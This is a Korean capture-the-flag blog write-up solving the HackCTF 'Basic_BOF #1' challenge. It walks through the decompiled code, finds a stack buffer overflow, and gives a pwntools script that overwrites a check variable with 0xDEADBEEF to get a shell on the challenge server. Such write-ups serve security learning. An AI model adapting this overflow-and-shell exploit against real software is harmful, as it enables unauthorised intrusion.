tmxklab

[HackCTF/Pwnable] Basic_BOF #1 본문

War Game/HackCTF

[HackCTF/Pwnable] Basic_BOF #1

tmxk4221 2020. 1. 21. 01:10

1. 문제확인

 

nc ctf.j0n9hyun.xyz 3000

 

1) 접속

  • "hi"를 입력하면 출력 값으로 "[buf] : hi"와 [check] 0x4030201을 출력하고 프로그램은 더이상 실행안

 

2) IDA(Pseudocode)확인 - main()

  • IDA의 hex-lay기능을 통해 디컴파일된 c언어 코드로 변환
  • char형 s변수는 [ebp-34h]이므로 ebp로부터 52bytes 떨어져 있고 int형 v5변수는 ebp로부터 12bytes떨어져 있음
  • v5변수 선언 후에 0x4030201로 초기화
  • fgets()로 45bytes만큼의 입력 값을 받아 printf()로 출력함
  • 두 번째 if문에서 v5변수가 초기화시킨 값이 아닌 0xDEADBEEF로 변경되면 system()함수 실행

2. 접근방법

1) 스택 구조

 

2) 결론

  • 두 번째 if문을 실행시키기 위해서 v5변수를 0xDEADBEEF로 변경되어야 함
  • fgets()를 통해 s변수에 입력 값을 저장할 수 있으므로 s변수를 통해 v5변수를 변경시켜야 함
  • s변수와 v5변수의 사이는 40bytes이며 fgets()는 45bytes까지 입력받을 수 있음
  • 따라서, bof 공격이 가능함

3. 풀이

1) 공격코드 작성

from pwn import *   # pwntools모듈

# remote(ip, port), ip는 string형, port는 int형
p = remote("ctf.j0n9hyun.xyz", 3000)

# 공격 payload 작성, p32는 packing관련 함수로 32비트 리틀엔디안 방식으로 패킹
payload = "b"*40 + p32(0xDEADBEEF)

# payload객체에 저장된 값을 보냄
p.sendline(payload)

# interactive()는 쉘과 직접적으로 명령을 송수신할 수 있는 함수
p.interactive()
  • payload객체에 40bytes의 쓰레기 값과 v5변수에 덮을 0xDEADBEEF값을 저장

 

2) 공격실행

Comments